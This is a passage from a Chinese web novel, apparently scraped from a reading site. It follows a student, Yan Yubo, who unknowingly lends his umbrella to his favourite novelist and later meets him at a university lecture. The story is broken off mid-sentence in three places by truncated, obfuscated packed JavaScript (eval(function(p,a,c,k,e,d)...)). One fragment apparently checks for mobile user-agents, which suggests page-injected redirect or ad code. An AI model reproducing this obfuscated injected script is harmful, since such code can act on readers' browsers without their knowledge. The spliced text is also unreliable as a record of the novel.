《作家与读者》 3. 陌生人与陌生人 外面还下着暴雨,走反正是走不掉了,在这种情况下,没有拒绝的余地也没有拒绝的理由,言于薄拿起地上的包背起,跟着面前宽硕的背影,进了屋。 木屋全封闭,没有窗户,里面的空间也不算大,只摆放了一张桌子和一条长椅,但足以够两个人坐下来休息。 言于薄站在门口处,没有靠近。 在外面看他那双不掺杂任何污浊的清澈眼睛和懵懂脸庞,还以为是那种一骗就能拐走的小孩,现在见他这么谨慎,男人微不可察地勾起唇,说:“门关上,站进来点。” 之所以没有往里走,是因为觉得自己不会在这里久留,但此刻,身后的风裹着雨点,直往脖颈下方的空隙里钻,言于薄忽然就觉得有些冷,他双手插着兜,缩了缩肩膀,照做了。 整个屋子里只有他们两个人,站着的时候还看不太仔细,现在对方坐下,视线相触,言于薄才清楚地看到他那双狭长的眼睛。 那是一双不带有任何温度,比流过脊背的雨水还要冰冷的眼睛。 言于薄觉得有些熟悉。 男人缓慢地转动着手中的伞柄,瞥了眼面前浑身基本湿透,脸上却毫无抱怨之意的小孩,漫不经心地问:“伞给我,你怎么回去?” “你刚刚不是打电话说有事情吗?”已经淋成落汤鸡,言于薄也不太在乎了,他笑着耸了耸肩,弯眼说:“反正我也是来这里旅游的,不着急走,多待一会看看雨景也不错。” 听到这里,男人转动伞柄的手停了一下,但很快又继续顺时针地旋转,思索半秒,他问:“叫什么名?” “我吗?”异地相识一场,不管怎么说,都是一种缘分,言于薄如实地回答:“言于薄。” 男人点头,放下伞,将随身携带的本子摊开,往前推。 言于薄明白了他的意思,他走近,拿起桌上的笔,弯腰伏案,一笔一划、工工整整地书写下自己的名字。 看着小孩可以算得上稚嫩的皎白侧脸,男人收回视线,用让人分不清情绪的语调,悠悠问:“听到我电话了?” 没想到他会在意这些,言于薄身体一僵,直接愣在了原地。 把玩着手里的东西,男人没有分半点目光给面前逐渐绷紧神经的小孩,只是拿起桌上写着名字的本子,渐渐压下了嗓音,带着若有若无的危险语气:“嗯?” 突如其来的压迫感,在这种场景之下,言于薄起身,注视着这张英俊得像是画里人的脸,一时半会没能作出解释,脑子里还莫名浮现出了许多场景。 也许是这个人问话的气场太强大,一瞬间,他感觉对方手里拿着的仿佛不是一把普通的伞,而是一条精制的皮质长鞭,只要自己说句“是”,就会立即扬起抽在他的脊背上。 这种奇怪的想法一旦出现就挥之不去,渐渐地,言于薄红了脸,他后退几步,与他拉开了一个相对安全的距离。 半天都没有反应,男人略带疑惑地抬头,看他脸颊粉了一片,猜测可能是冻着了,于是便将手上的本子放下,拿起一次性的纸杯,倒了壶刚泡好的热茶,递给了他。 举了两分钟,小孩也没有反应,男人提示性地叩了两下桌面。 依旧没有任何反应。 “言于薄。” “嗯......嗯?”被喊了名字,言于薄终于从自己的世界中回过神,他为刚刚的胡思乱想而感到羞耻,于是接过杯子抿了一口,却躲避面前人的视线,说:“我、我不是故意的,也只听到了那一句,抱歉。” “不用道歉。”圈内朋友打来的电话,直接喊的笔名,这么看,他应该是不清楚。 也是,小孩看起来很小,也很单纯,不应该这么乱问他。 言于薄不知道面前这个男人的心里究竟在想什么,只觉得他的脸色很阴沉,阴沉得像是下一秒就要斥责自己为什么这么没礼貌一样。 他垂着双手,笔直地站在他的面前,思绪又开始飘远。 男人抬起头,发现这小孩又开始盯着自己走神,便牵了下唇角,挑了挑眉。 短短几分钟,走了三次神,他启唇,漫不经心地说:“你要是我孩子。” 言于薄一怔:“什......” “现在屁股上至少有两个巴掌印。” 一句话落地,周围的空气都凝固了,雨声在耳边不断放大,却仍然盖不住心脏剧烈加速跳动的声音。 很普通的话,很普通的语气,就像是长辈在跟自己唠家常一样,但不知道为什么,即使言于薄从小到大没有听过这样的话,他还是会因此感到屁股后方一凉,紧了皮肉。 能看得出来眼前的这个男人比自己年龄大很多,可再怎么说,也不像是有孩子的模样,他尽量把脑子里那些乱七八糟的东西抛出,抿了下嘴唇,说: “可惜我不是。” 言于薄低头,用手扯了扯因为被雨水浸湿而紧密吸贴在大腿上让人难受的牛仔裤,接着将杯子放回桌面,鬼使神差地将心里想说的话问出:“你已经有孩子了吗?” 对于这个问题,男人没有回答,而是用一种打趣的语气说:“真想当?” 虽然知道对方是在开玩笑,但言于薄还是没有立即作出回应。 他是孤儿,没有父母,如果是在小时候,心智不成熟,说不定听到这种话,就真的点头屁颠屁颠地跟人跑了。 言于薄心里这样想着,半响后,他向前,主动坐到了男人的身边,却仍低着头,犹犹豫豫地问:“你脾气好吗?” 男人问:“这个有影响?” 聊都聊了,也不差这点,言于薄一本正经地点了点头,说:“怕。” 他抬头问:“所以好吗?” 听到这句话,男人扫了他一眼,不明意味地“嗯”了一声。 为了防止身上的水再弄到他的衣服上,言于薄往旁边挪了挪,将包移到胸前,从里面拿出一袋面包,他撕开外包装,小口咀嚼着,过了好一会才来了句:“哦。” “好我也不愿意。” 越发觉得这小孩有趣,男人也没恼,他换了话题,问:“在哪上学?” “N市。” “学校是哪一个?” 早上起得太早都没来得及去食堂吃早饭,现在看样子,午饭也没机会吃,言于薄属实有些饿了,他专心致志地啃着手里的面包,毫无防备地回答:“N大。” 听到这个学校,男人有些意外,他手撑下巴,侧脸看着正在认真进食的小仓鼠,心里想 有礼貌,学习好,挺乖一小孩。 总感觉有道视线落在身上,扭头发现对方一直在看自己,言于薄嗓子一噎,从包里拿出了一袋新的面包,递给他,犹豫地问:“你吃吗?味道还不错。” 男人轻笑摇头,问:“就住在N市?” “嗯,从小就生活在那边。”被拒绝了言于薄也不觉得特别尴尬,他收回手,将没吃完的面包装回书包中。 “觉得那里怎么样?” “比较古老的城市,消费水平很高,不过环境挺好的。”听外面的雨声逐渐变小,言于薄站起身往门口走去,板鞋在木板上踩得“哒哒”响,他顺着他的话问:“你去过吗?” “去过。”看着小孩瘦弱的背影,男人说:“以前在那边上学。” 言于薄点了点头,心里想那还挺巧的,他将门打开,看到雨势变小后,便回去拿起书包,对坐在椅子上的人说:“雨快停了,伞你留着吧,我就先走了。” 说完就转身往门口迈去,半只脚都踏出屋外了,言于薄突然又想起了什么,他转过头,直直对上了一个充斥着玩味的眼神。 男人问:“后悔了?” “不是。”即使知道后面应该不会再见面了,但言于薄还是问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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系统:你特别关注的@凛冽,刚刚发布了一条新微博。 时隔很久都没有再看到凛冽发博文,看到弹窗后,言于薄快速地点进去,抱着手机满怀期待地查看。 本以为会是什么有关小说的通知,或者网站要求的内容转发,没想到映入眼帘的,只是一张伞的图片。 往上看配图文案。 “沿途遇薄礼……”读了几遍,言于薄都觉得拗口。 重新看回图片,他惊喜地发现,这把伞的样式居然与自己的那把极其的相似,都是黑色,都是晴雨伞,都是同一个牌子,甚至就连伞柄处破损的那个半圆缺口也…… 等等。 这貌似……就是自己的伞。 愣了两秒又眨巴了两下眼睛,言于薄搅拌杯子的手停滞在了空中,时间像是被静止在了这一刻,直到杯子上方冒出的徐徐热气逐渐消散,甜苦的药味往鼻子里钻,他才开始反应。 这是凛冽的微博没错。 图上的是自己的伞也没错。 视线在图片和文案之间来回交替地移动,越扫越快,最后,盯着图上的雨伞看了足足有三分钟,言于薄脑子里混乱一片,心也开始变得有些抖,他喃喃道:“这是怎么回事……” 想到昨天在湖边木屋遇到的那个男人,言于薄像是被烫到了般弹起身,准备从书包里翻出那张写着对方名字的纸条,但一转身,他就记起来了,那张纸没有带回来。 宸凛寒。 很好记的名字。 再配上男人冷若冰霜的脸,更是能轻易地给人留下印象,即使没有那张纸条,言于薄也能记住。 “宸凛寒……”他跌坐回原位,颤抖着嘴唇,低头小声念叨:“凛寒……凛……” 募地意识到什么,言于薄心脏漏空了一拍,猛地抬起了头。 4.陌生人与陌生人 不应该发。 不应该冲动发出去。 清晨的阳光透过落地窗洒下,夺目又耀眼,看着手机微微反光的屏幕,宸凛寒揉了揉眉心,关掉电视,起身拉上窗帘,去厨房给自己磨了杯咖啡。 他向来将工作和生活分得很清楚,写作这么多年来,从未做过像昨天晚上那样冲动的事情,如果说对方正好看过自己的书,那么就相当于直接丢弃了马甲,爆了现实的身份,可昨天那个小孩...... 小男孩,不像是会知道这些。 方糖加到第二块,门口传来了敲门声,听频率就知道是谁,宸凛寒没理会,他细细地品了一口咖啡,接着端着杯子,走到客厅坐回沙发,将左腿架在右膝之上,拿起了手边的书。 “咔哒”一声,门开了,外面的男人走进来,拍了拍袖子上的灰尘,抬头看到家里有人,先是怔了一秒,接着无奈地说:“我还以为你不在,在家怎么连门都不愿意开一个?” “我不开门你不是也能进来。”宸凛寒没有看他,依旧专心地看着手中的书,“有什么事情不能发消息,要大清早跑过来闯我家门。” “好意思吗?”一早上发了十几条消息,愣是一条回复都没收到,男人走到宸凛寒的身边,拿起他放在桌子上的手机,递给他:“自己看看,我给你发了多少条消息。” “工作的时候手机是个人勿扰模式。”宸凛寒自然接过,掠了眼放到一旁,面不改色地说:“你可以在中午十二点左右给我发消息,我说不定能看到回复。” 不就是昨天喊了声笔名,至于吗? 男人心想着,顺势坐在沙发上,将胳膊往后随意一搭,半调侃道:“去年冬天用你账号发了条微博就半个月没回我消息,这次呢?准备放我放到什么时候?” 宸凛寒没回,而是跳过这个问题,喝了口咖啡,问:“刚从N市赶回来,吃早饭了么?” 其实没吃,但现在也没什么胃口,男人直言拒绝,不弯弯绕绕,直接说了正事:“我来是想问你,N市那边的大学邀请你周末去做讲座,收到消息了吗?” “嗯。”早上起来的时候貌似看到了这条消息,但当时因为忙着公司的事情,没来得及点开,宸凛寒说:“怎么知道的?” “问到我邮箱了,想不知道恐怕有点困难。”男人支起身,偏头问:“什么想法?” 宸凛寒正视前方,沉默片刻后,用一种极淡的语气说:“这种事情,值得你庄煜明特地跑一趟?” “你不出席线下活动。”意料之内的答案,庄煜明表示自己了解,他起身倒了杯水,“但这次不是以作者的身份,而是优秀毕业生,否则我就直接帮你拒了,还用得着花时间往这里跑?” “再说。”想起昨天早上在酒店被手机铃声吵醒的画面,庄煜明握紧杯子,扯了下嘴唇,道出一个事实:“我不来找你,你不回消息,她们就信息轰炸我。” 听到“毕业生”三个字,宸凛寒喝咖啡的手一顿,他将杯子放下,看向他,确认:“N大的邀请。” “是,你母校。”刚下车就赶过来,庄煜明有些头疼,他喝了口水,皱眉说:“我还以为你看了消息。” 见沙发上的人没了反应,庄煜明走过去,说:“也不是什么很重要的活动,就是给那些学生们传授些经验,两个小时,很快就结束,你考虑考虑,不愿意就自己拒了。” N大…… 脑子里又逐渐浮现出昨天与那小孩的交谈,宸凛寒没说话,过了一会,他点头,像是对身旁人说又像是对自己说:“可以去。” “你愿意去?”不得不说,对于这个回答,庄煜明确实很意外,但他无心再管这些,于是坐下,说:“那有时间就把消息回了,免得那些人一直说不停。” 昨日一夜倾盆骤雨把城市浇遍,今天早上却放了晴,看着外面飘着白云、晴空万里的好天气,他换了话题,问:“话说昨天下着那么大雨,你怎么回来的?” 好不容易快要将这件事忘记,现在又被提起,宸凛寒看了他一眼,盯着桌上的咖啡杯说:“遇到一个热心的孩子。” “孩子?”第一次从面前这个人的嘴里听到这样的词语,庄煜明问:“陌生人?” “陌生人。” 瞥向桌上的手机,庄煜明现在算是明白凛冽昨天晚上发的微博是怎么回事了,猜测他口中的孩子差不多十几岁左右,于是便笑了声问:“小朋友这么好,给完伞就走了?” “聊了几句。”昨天回家后就在想这件事,本来睡眠质量就不好,现在更是一晚上都没睡着,宸凛寒回答完就将头靠在沙发上,双手交叠放于后脑,阖上了眼睛。 “一个三十多岁的人,跟个小孩子抢伞。”庄煜明比面前这人年轻两岁,刚好不及三十,他忍不住打趣了几句,最后说:“下次再遇到那个小朋友,好歹请人家吃个冰淇淋吧。” 听到这,穿着单薄衬衣的青年,被风雨打得发抖,搓手往屋里走的场景再次映现在眼前,宸凛寒淡定回道:“那小孩乖,不会吃陌生人给的东西。” 庄煜明说:“你不试试怎么知道。” 宸凛寒扫了他一眼,继而目光向下,眸色转深,似乎真的在认真思考这个问题,他拿起手机,查看未读邮件:“遇不到了。” “这种事情说不准。”庄煜明问:“知道人家叫什么名字吗?” 小孩工工整整写下的稚拙字迹着实令人印象深刻,宸凛寒“嗯”了一声,说: “言于薄。” “言于薄?” 曲阮推了推身旁人的胳膊,凑到他的耳边,虚着声音喊:“言于薄,醒醒。” “嗯......嗯?”被晃醒后,言于薄半掀起眼皮往台上看去,见老师停止讲课,扫视着台下,他心一紧,半个身子都离开了座位,作势站起,小声地问:“点到我了吗?” “没有,让我们做书上习题呢。”曲阮一把将他拉下,盯着他眼睛下方挂着的像熊猫一样的两只黑眼圈,用手指在空中比划了一下,作出口型:“你怎么了?” “我没事,说到多少面了......”只是打了瞌睡,没彻底睡着,言于薄揉了揉迷蒙的眼睛,打开桌上的书。 定睛一看,又抬头往黑板上看去,他愣了几秒,接着重新闭上了眼,抱着头埋下。 带错书了...... 从早上破天荒地没被闹钟叫醒睡过头开始,曲阮就觉得言于薄今天的状态不太对劲,再看现在,下午大半节课过去,连书都没打开,他有些担心地说:“你要是困的话,下课就直接回宿舍睡觉,老师提问我帮你回答。” 昨晚知道湖边遇见的人可能是自己喜欢了八年的凛冽后,言于薄就一骨碌爬上了床选择逃避,他本想通过睡一觉的方式确认不是在做梦,却没想到直接失了眠。 早上八点的课,凌晨五点还没有睡,睁眼闭眼都是那天在木屋里的画面,不到三天的时间,对方的长相已经开始变得模糊,但交谈的话语还清醒地刻在脑海里。 他都跟凛冽聊了些什么。 “你已经有孩子了吗?” “你脾气好吗?” “好我也不愿意。” …… 早知道就不该乱说话,早知道就应该把那张签名留着保存,想到这些,言于薄就觉得脑子一团乱麻,全身上下被一个名叫后悔的词语疯狂充斥。 他浑浑噩噩地拿起桌上外壁还化着水珠的冰矿泉水,放在脸颊来回滚了几圈,强制自己清醒后,双目失神地说:“不用,我晚上还有兼职,回去睡也睡不了多久。” “总觉得你这样子太累了,适当休息一下没什么的。”基本了解言于薄的情况,劝解完后,曲阮想到了一件事:“哦对了,我们学院这周末有个讲座,要求全班都到,你兼职的话要记得提前请假啊。” 这种活动每学期都有,不足为奇,大多就是去签到,点个人头数,走个过场,言于薄在心里默默记下,偏头问:“谁的讲座?” “不清楚。”下课铃打响,曲阮站起来,伸了个舒服的懒腰,半眯着眼,思索着说:“我也是今天路过办公室听到的,好像是以前从我们学校毕业的,估计是个专家什么的吧,哎呀,管他那么多呢,反正到时候就知道了。” ...... 晚上。 外面街道旁的路灯刚刚亮,车水马龙正值下班拥堵高峰期,耳边不断传来喇叭“滴滴滴”的催促声,趁着现在店内没人,言于薄站在收银台后方,拿出手机,打开了微博。 他在凛冽超话里发布的问题,得到了很多热心网友的回复,翻看着那些争吵激烈的评论,言于薄觉得有些不舒服,干脆手一动,隐藏了这条帖子。 也许其它人不知道,但是他知道。 凛冽是男性,还是个英年早婚,有家庭有孩子,脾气未知的男人。 当然,知道归知道,但他不会在乱哄哄的评论区发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人笑:“我说你这小孩……” “好了好了。”既然被发现了,也就不用偷偷摸摸,上一天课本来就够累的了,曲阮懒得再吵,他挥了挥手,做出驱赶的动作,大方地说:“我这个人尊老,让给你行了吧。” 听后,男人微微皱眉:“说什么?” “我说……”抬头看,发现面前人脸色变黑了许多,曲阮话一顿,往后退了几步,声音不自觉地放小了些:“说你没有道德……” 看这小不点刚刚还张牙舞爪,现在却怂成这样,男人笑着将饭团放回他手中,摸着那脑袋俯身说了句话,转身走了。 “靠!”曲阮反应过来,顿时气血翻涌,他往前追:“你给我回来!” 言于薄看准时机,一把抓住面前的人,往回轻松一拉,问:“说什么了这么激动?” “他说他爱幼!”看着男人像没事人一样耸肩踏出了门,曲阮气得脸更红了,但他知道追上也没意义,于是只好对着那个背影在空气中一阵拳打脚踢,撒撒闷气。 言于薄松开手,刚想抬头劝,却在看到门口处的人后,募地愣在了原地。 凛冽? 不对,怎么可能会出现在这…… 迟疑了两秒,他恍惚着,抬脚往外走。 “等等等等。”曲阮往前一跨,双手打开挡在他的面前,眼睛睁大了说:“我、我就是做做样子而已,你真要替我去揍他啊?我感觉……我们好像打不太过。” “不是……”再往外看去,人已经离开,言于薄眨了眨眼,蔫了下去,心里觉得自己可能真的是因为太累,而出现了不切实际的幻觉。 他深深吸了口气,接过曲阮手里的饭团,往收银台走去,扫码付了钱后放进微波炉,提前打好招呼:“我晚上下班很迟,你确定要在这里等吗?” “确定啊,张良出去了,我才不想跟梁伟单独待在宿舍。”曲阮边往收银处走,边看着手机班级群里的历史消息,“诶......?” 他扬起声说:“言于薄,讲座的具体时间出来了,你看到了吗?” “还没有。”弯腰盯着微波炉里暖黄的灯光,和黑屏上不断跳动的红色数字,言于薄无心地问了一嘴:“什么时候?” “我看看,后天下午六点,阶梯教室201,主讲嘉宾是……”曲阮下滑消息,缓缓读出:“宸凛寒……” “叮!” 数字归零,言于薄心跳骤停。 “嘶……”曲阮把手机拿远了些,定睛看着这三个字,像是感慨又像是深深地吐槽:“这名字怎么拽得跟小说男主一样?” “哎言于薄。”快速地在脑内调动所有有关这个狂酷名字的信息,确认没见过后,他喊了一声,疑惑地抬起头,问: “你听过吗?” 5.陌生人与陌生人 周日下午六点,阶梯教室。 在盯着下面的海报看了半个小时后,言于薄抿了抿唇,转身走到阶梯口,上到三楼,跟着熙熙攘攘的人群挤进了教室。 曲阮在跟后面的朋友聊天,往教室后门看去,一眼便看到了正在寻找空座位的言于薄,他站起身,朝门口的人招了招手,喊道:“言于薄!这边这边!” 听到呼喊的声音,言于薄捏紧口罩,下着台阶走了过去。 “又没睡好?”看他脸色疲惫的模样,曲阮站起身,给他让出旁边的位置,问:“你昨天晚上什么时候睡的?” 的确没休息好,言于薄坐下,托着腮,神情恍惚地答:“八点。” “那不应该啊……”曲阮思索着说:“八点已经很早了,我昨天晚上十二点多才……” “早上八点。” “?” 曲阮冲他眨了眨眼,扬声说:“言于薄,你最近到底怎么了?” 言于薄也不知道该怎么说,自从偶遇凛冽后,整个人的精神状态都出现了很大的问题,他摇了摇头,依旧是那轻飘飘的,像是世界毁灭了都无法撼动的三个字:“我没事。” 无语地叹了口气,曲阮指着他戴着的白色口罩问:“对了,你的脸现在怎么样了?红疹还没消下去吗?” “嗯……” 昨天晚上。 头顶月光,晚风吹拂,两个青年并排走在路边街道上,想起刚刚的画面,曲阮不死心地问:“真的不认识?” 已经数不清是第几次听到这个问题,言于薄的回答从未改变,他咬了一口面包,含糊不清地说:“不认识。” 对于这个答案,曲阮其实不太相信,他擅长察言观色,可言于薄方才的表情明显就是震惊,根本不像是跟那个什么宸凛寒不熟的样子,至少不会说是完全不认识。 “真的吗?”他盯着他的眼睛再次问。 言于薄停下脚步,对上他探查的眼神,十分认真地说:“真的。” 说完又加快速度,低着头,两耳不闻身后事地继续往前走,直到感觉喉咙被迎面的风堵住,有些胸闷才降下了脚步。 “那好吧。”曲阮撸了一口手里的孜然烤肉串,快步追了上去,感叹道:“看你的反应,我还以为是你哪个素未谋面的亲戚……” “我连父母都没有,哪来的亲戚?”倒不是要怼回去,说这句话的时候,言于薄的语气几乎就没什么变化。 曲阮说:“我不是……” “我知道。”周围没有垃圾桶,言于薄将最后一口面包压扁吃完,随手把包装袋揉搓成一个球,心想:“如果真的跟凛冽是亲戚……” 他自言自语般喃喃:“那还是算了吧……” “什么算了?”刚好走到学校大门口,迎着保安室老旧昏暗的灯光,曲阮扭头,惊得肉串都掉到了地上,他上前说:“言于薄,你、你的脸怎么这么红?” 别说,从刚开始起脸就有点发痒,言于薄抬手摸了摸,碰到几个疙瘩后,他不太在意地说:“应该是路边的小飞虫咬的。” “不是。”将他拉到玻璃窗前,曲阮指着他脸颊上的红点,说:“你自己看,什么虫能咬成这样?说是蜜蜂蛰的我都信,不对,要我说的话,蜜蜂都蛰不出这种效果!” “有这么夸张……”言于薄看向面前的透明玻璃,顿时闭上了嘴。 还真有。 反应过来是怎么一回事,他将刚刚揉成团的塑料包装展开恢复原状,盯着配料表看了会,言于薄轻声说:“过敏了……” 曲阮接过,边从配料第一位开始往后查看,边问:“有坚果?” “嗯。”不发现还好,一发现就越发觉得脸难受瘙痒,言于薄忍不住用手摸了几下发红的脸,说:“我看打折就拿了,以为只是个普通的果脯面包,没想到还放了核桃,打得太碎了,都没尝出来……” 指着背面的那一排小字,曲阮说:“这不是写着核桃风味?” 言于薄认真地问:“风味不是只有香精调味,没有实料吗?” “……” 上次言于薄误食坚果过敏,意识模糊差点晕倒在操场上的画面还记忆犹新,曲阮也不跟他争了,深吸一口气,他二话不说就直接挽着他的胳膊转了个面:“走。” “先去医务室看看。” 回收记忆,言于薄上下眼皮不停地打架,他抵挡不住困意,扑在桌面上,说:“这次坚果的量不大,昨天晚上吃了医生开的药,应该放几天就好了。” 从刚刚上来开始,海报上那张面容就像是刻在脑海里了一样挥之不去,他撑起头,捂着莫名开始发热的脸,小声地说:“现在最关键的问题不是这个……” 曲阮听得云里雾里,他不解地问:“那现在最关键的问题是……” 话音未落,偌大的阶梯教室里突然响起一阵雷鸣般的掌声,震耳欲聋,两人同时抬起头,往讲台上看去。 一身藏蓝西装得体整洁,纯黑领结规整地打在胸前,台上的男人梳着利落背头,正听着一旁的接引员说些什么。 虽然做了足足一晚上的心理准备,但当真真切切再次看到凛冽时,言于薄的心脏还是遏制不住地加速跳动,甚至有那么一瞬间,都盖过了周围学生的激烈掌声与谈论声。 欢迎持续了将近半分钟,半分钟后,教室里欢迎的鼓掌声渐渐弱下,取而代之是前排学生的窃窃私语。 “我去……”曲阮睁大眼睛,怼了怼言于薄的胳膊,惊叹道:“我还以为来的会是一个老头什么的,没想到这个……” 说了半天,旁边也没个反应,他扭头,见身旁人一改方才的疲惫,两只眼睛的目光早就追随到了台上,聚精会神地,一秒都没有再放下,曲阮怔了下,喊:“言于薄?” “嘘。”言于薄凝望着台上的人,头都没扭一下:“认真听。” …… 本来都快忘了昨天晚上追问的事情,但整个讲座下来,曲阮不得不再次怀疑 这个宸凛寒到底是言于薄的谁!? 整整两个小时,不说摸鱼和犯困,言于薄的头压根就没低下来过,就好像昨天晚上一夜未睡的人不是他一样,再看桌上,曲阮这才发现,对方还带了一个十分精致的本子。 居然还做了笔记吗…… 他若有所思地来回摩挲着下巴,在内心里给言于薄点了个赞。 没人聊天,曲阮只好迫不得已听完了全程,刚开始还觉得无聊,到了后面,他惊奇地发现,这个看起来跟自己有代沟,表情严肃得像是随时要点人回答问题的主讲嘉宾,说话还挺幽默,至少没有想象中的那么枯燥乏味。 两个小时说长不长,说短不短,听不进去只觉得煎熬,所以当结束的时候,曲阮便长吁一口气,迫不及待地站起了身。 “终于结束了……”他揉捶着肩膀,对着身旁的人哀道:“我屁股都坐得疼……” “言于薄。”曲阮问:“我们走吧?” 言于薄依旧看着台上,目光没有偏移半分:“你先回去。” 曲阮疑惑:“你要干什么?” “我……”望着讲台上正在与校领导交谈的人,言于薄说:“我有个问题想去请教,你先去食堂吃饭,我一会就回宿舍。” “哦……”听那么认真,有问题也正常,曲阮点头:“那你早点回来,我帮你带份饭。” “好,谢谢。” 说完,言于薄就拿着准备好的本子往讲台上走去,他走到的时候,上面的人正好交谈完,整个教室除了自己以外,就只剩下台上的两人和还没有来得及挤出门离开的同学。 越接近心跳越快,言于薄深呼吸了几下,鼓起勇气走近,他双手抱书,看着近在咫尺的人,低声恭敬地喊出了想了一整夜的称呼: “先生。” 宸凛寒伸手接过助理整理好一半的手册,听到声音,他偏头,看向面前戴着口罩的青年,稳声说:“什么事?” 这个反应,应该是没认出自己。 言于薄抬头望着他,胸腔都在发颤:“我有一个问题想问您。” “那个同学,我们下面……”看了眼宸先生的脸色,助理忙上前,想表示他们还要赶行程,可能没空进行解答。 “一个问题而已,让他问。”宸凛寒放下手册,抬手阻拦,对助理说:“你去找庄煜明,我等会过去。” “好的。” 助理走后,教室里的学生也基本散完,这下空旷的教室里,彻底只剩下自己和先生两个人,言于薄紧张地攥住手中的签字笔,低下头,说:“您刚刚……” “头抬起来说话。”宸凛寒将桌上另外一半纸张拿起:“好好问。” 也不知道是不是因为知道站在自己面前的人就是凛冽的原因,言于薄身体微不可察地抖了一下,他抬起头,说:“好、好的。” 对方戴着口罩,说话不太清晰,声音也很小,宸凛寒微微倾身聆听,却没有停止手上整理的动作:“重复一遍。” 仅仅与他的视线对上一秒,言于薄就感觉自己呼吸困难,他张了张嘴,说:“在最后您谈到了热爱与现实,我想问……想问一下,关于以后的前进方向,该如何作出选择……” 大致听明白了他想表达的意思,宸凛寒直起身,问:“有喜欢的事物吗?” 言于薄被问得一愣,看着面前的人,半响后,他回过神来,蠕动了一下干涩的嘴唇,低低地应道:“有。” “那就坚持内心,向着喜欢的事物不断靠近。”宸凛寒淡道:“热爱和现实并非只能选其一,一条路不行,再换下一条,只要不后悔自己作出的决定,那么任何一次试错都有价值。” 点了点头,言于薄向前,凝视着他,小心翼翼地问:“那先生您呢?” 他好奇道:“您选择了什么?” “热爱。”再次清点台上的纸张,宸凛寒说:“还有别的问题吗?” 言于薄犹犹豫豫地点了点头。 “说。”宸凛寒拿起桌上的水杯。 “先、先生。”言于薄拿出提前准备好的本子和笔,翻到第一面递过去,咽了咽口水,紧张地说:“可以请您帮我签个名吗?” 话音落下,周遭的空气像是被抽干了般安静,宸凛寒动作一顿,握着杯子的手悬停在空中,他扭头,看向身旁抖着胳膊,拿着纸笔的青年,微微蹙眉。 说实话,言于薄没做过这种事情,并不知道自己这样做法是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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心脏猛地一颤,言于薄愣了许久,他慢慢地缩回手,弯腰鞠躬,声音泛酸地说:“哦好、好,对不起,打扰您了……” “不打扰。”宸凛寒盯着青年有些泛红的眼睛看了会,拿起桌上的个人物品,抬脚往外走,正声说:“我的签名没有任何收藏价值,别让它毁了你一个新本子。” “可这个……”话还没说完,对方已经走了出去,言于薄看着那离开的背影,垂下眼帘,小声说:“这个本子就是为您准备的啊……” 走到走廊末端,宸凛寒碰到了还在争吵的两人,他问:“走不走?” 庄煜明逗够了,便收了手,把耳机放到掌心,递给面前的小不点,似笑非笑地说:“下次见面能长高点吗?” “你再说一遍?”曲阮气得喘不过气,他夺过耳机,转身就走,懊恼地说:“早知道刚刚就应该把言于薄带走!跟你说话真是浪费时间和精力……” 听到这个名字,宸凛寒几乎是在下一秒就重复了一遍:“言于薄。” “怎么,你认识?”曲阮转身问。 甚至没听曲阮说完话,宸凛寒就将手中的东西放到庄煜明手里,神色凝重一言不发地径直向刚刚的教室走去。 这时,助理正好从下面赶上来提醒时间,她急忙道:“宸先生,我们可能该走了,否则就赶不上……” “一分钟。”甩下三个字,宸凛寒继续往那个方向走去,脚步不停。 这种状况下,曲阮倒是反应过来了什么,他激动地对着身后人说:“看看看,我说什么来着?他们果然认识!” 庄煜明左右看了看空旷的地方,反手指向自己,挑眉道:“在跟我说话?” 其实不是,只是习惯了将自己心里的想法说出口而已,但助理朝教室的方向走去,这里就他和讨厌鬼两个人,曲阮只好昂起头,强装镇定地说:“是、是又怎么了?” 再往前看,发现他往自己这边步步逼近,曲阮一慌,乱步往后退:“你、你干嘛?我跟你说,这是我学校!” “你一个学生我能干什么。”见他身体都在发抖,庄煜明停下脚步,按着他瑟缩起的肩膀,半开玩笑地说:“就提醒提醒你,以后跟长辈说话带个称呼,嗯?” 深呼吸口气,曲阮拍开他的手:“草!” 当看到教室门紧紧关上的那一刻,宸凛寒就拧起了眉。 推开门,果然空荡荡一片,早已没了人影,再想起那小孩眼眶红红的画面,他将唇线绷得很直,头有些痛。 “宸先生。”助理着急地追了上来:“我们可能真的要来不及了,再不走就只能改签为第二天晚上的票了。” “怎么说?”庄煜明也从远处走了过来,他打趣道:“我特地过来陪你开个讲座,你别告诉我连回去的票都没有。” 宸凛寒瞥了眼走廊尽头:“人呢?” “气跑了。”想起那气鼓鼓的小豚鱼,庄煜明笑了笑问:“那小孩找你什么事?” 再次看向教室里刚刚言于薄站着的地方,宸凛寒没有回答。他默声了许久,直到教学楼下课铃声打响,才抬脚往楼梯处走去: “回去吧。” 6.陌生人与陌生人 又一年夏。 正午。 阳光肆意流淌大地,穿过小径两侧茂密生长的枝叶,随风晃动,筛落成一地碎光,身穿蓝色卫衣的青年站于树下,看着来来往往的人群,拿出手机,低头点开了对话框。 这时,一个在旁边躲躲藏藏,张望许久的小男生扭捏地走到了他的面前,面色通红地说:“学长,那个……” 他支支吾吾道:“我注意你很久了,也很喜欢你,毕业之前……能不能留一个联系方式?我家也住在N市,以后可以出来玩。” 青年似乎不太明白他是什么意思,带着疑惑问:“什么?” “言于薄!”老远就看到他的身影,曲阮举着大朵鲜花跑来,气喘吁吁地解释道:“家里人非要给我订束花,我就去拿了一下,你没等急吧?” 扭头看向他正对面站着的人,曲阮指着,疑惑地问:“这是……” 